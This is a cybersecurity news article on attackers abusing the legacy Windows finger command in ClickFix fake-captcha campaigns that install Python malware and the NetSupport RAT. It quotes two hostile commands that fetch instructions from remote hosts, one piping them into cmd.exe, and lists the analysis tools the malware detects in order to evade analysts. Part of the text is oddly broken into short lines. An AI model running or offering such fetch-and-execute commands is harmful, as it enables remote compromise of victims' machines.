Finger Protocol Resurgence

For many years, the "finger" protocol remained largely dormant, but recent reports indicate its resurgence as a tool for malicious activities. Cybercriminals have begun exploiting this protocol to gain unauthorized access to Windows systems by retrieving sensitive commands remotely.

Historically, the finger command served as a quick way to gather user information on Unix and Linux platforms, providing details such as user identities, login statuses, and contact information. This protocol was later incorporated into Windows environments, broadening its reach. Despite its continued support, the command has fallen out of favor among everyday users, overshadowed by more modern tools.

When someone runs the finger command, it typically reveals details like a user’s login name, full name (if configured), home directory location, contact numbers, last login time, and other associated data. Recently, however, threat actors have leveraged this seemingly benign utility to facilitate malicious activities across compromised networks.

Recent cyber campaigns have exploited the outdated finger protocol to facilitate clickfix-style attacks, enabling malicious actors to remotely execute commands on targeted devices.

Historically, the finger command has been misused as a living-off-the-land binary (lolbin) to download malware and avoid detection, as early warnings indicated back in 2020.

In a recent development, security researcher malwarehunterteam shared a script via VirusTotal with BleepingComputer, demonstrating how executing a simple batch file could leverage the command 'finger root@finger.nateams[.]com' to fetch instructions from a remote finger server.

These commands are then piped directly into the system's command interpreter, cmd.exe, allowing attackers to run malicious code seamlessly on compromised systems.

This ongoing exploitation highlights the persistent vulnerabilities associated with legacy protocols like finger, which remain a target for attackers seeking covert ways to manipulate devices.

A recent online warning highlights a deceptive scheme

exploiting the 'finger' protocol for malware distribution.

In a hurried moment, a user was tricked into executing a command

that posed as a human verification check, a fake captcha.

The malicious instruction, run via the Windows command prompt,

leveraged the 'finger' command to contact a remote server.

Although the specific host is now inactive,

the attack's mechanics have been captured and analyzed.

This method repurposes the legacy protocol

as a conduit for remote script delivery and execution.

The fetched commands automate a multi-stage infection process,

creating hidden directories and downloading tools.

A renamed curl executable is used to fetch a malicious payload,

disguised within a seemingly harmless archive file.

Ultimately, the script extracts and deploys

a Python-based malware package onto the victim's system.

Sophisticated Malware Techniques

The Python script runs silently with pythonw.exe __init__.py,

masking its execution from the user's view.

A deceptive "verify you are human" prompt appears on screen,

as the malware signals successful execution back to its command server.

Although the package's full intent remains undetermined,

evidence points toward information theft,

supported by a related batch file's design.

In a parallel campaign observed by MalwareHunterTeam,

attackers employ the outdated Finger protocol with the command:

finger kove2@api.metrics-strange.com | cmd.

This technique fetches and executes remote instructions,

mirroring the methods used in the ClickFix malware attacks.

Researchers at BleepingComputer uncovered a sophisticated cyberattack that actively scans for specific tools commonly utilized in malware analysis and debugging. When these tools are detected on a system, the malicious commands terminate to evade detection. Among the targeted utilities are Filemon, Regmon, Process Explorer (both 32-bit and 64-bit versions), TCPView, Process Monitor, VMMap, Portmon, Process Lasso, Wireshark, Fiddler, IDA Pro, Immunity Debugger, Windump, x64dbg, x32dbg, OllyDbg, and Process Hacker.

If the targeted tools are not present, the malware proceeds with its secondary phase by downloading a compressed archive. This archive is cleverly camouflaged as a PDF file to deceive the user. Instead of containing a malicious Python package as might be expected, the archive actually contains the NetSupport Manager Remote Access Trojan (RAT) payload. This approach demonstrates a high level of sophistication, combining tool detection evasion tactics with deceptive file masquerading to facilitate the deployment of malicious remote access capabilities.

Cyberattack Techniques and Prevention

Malicious actors are employing an outdated technique by setting up scheduled tasks that activate remote access malware upon user login, increasing the risk of compromise.

Although the ongoing 'finger' protocol exploitation seems to be led by a lone attacker behind clickfix campaigns, awareness remains crucial as these scams continue to deceive victims.

Security professionals can effectively prevent such exploits by blocking outbound connections on TCP port 79, the port used by the finger service to communicate with its daemon, thereby disrupting the attacker's command execution.

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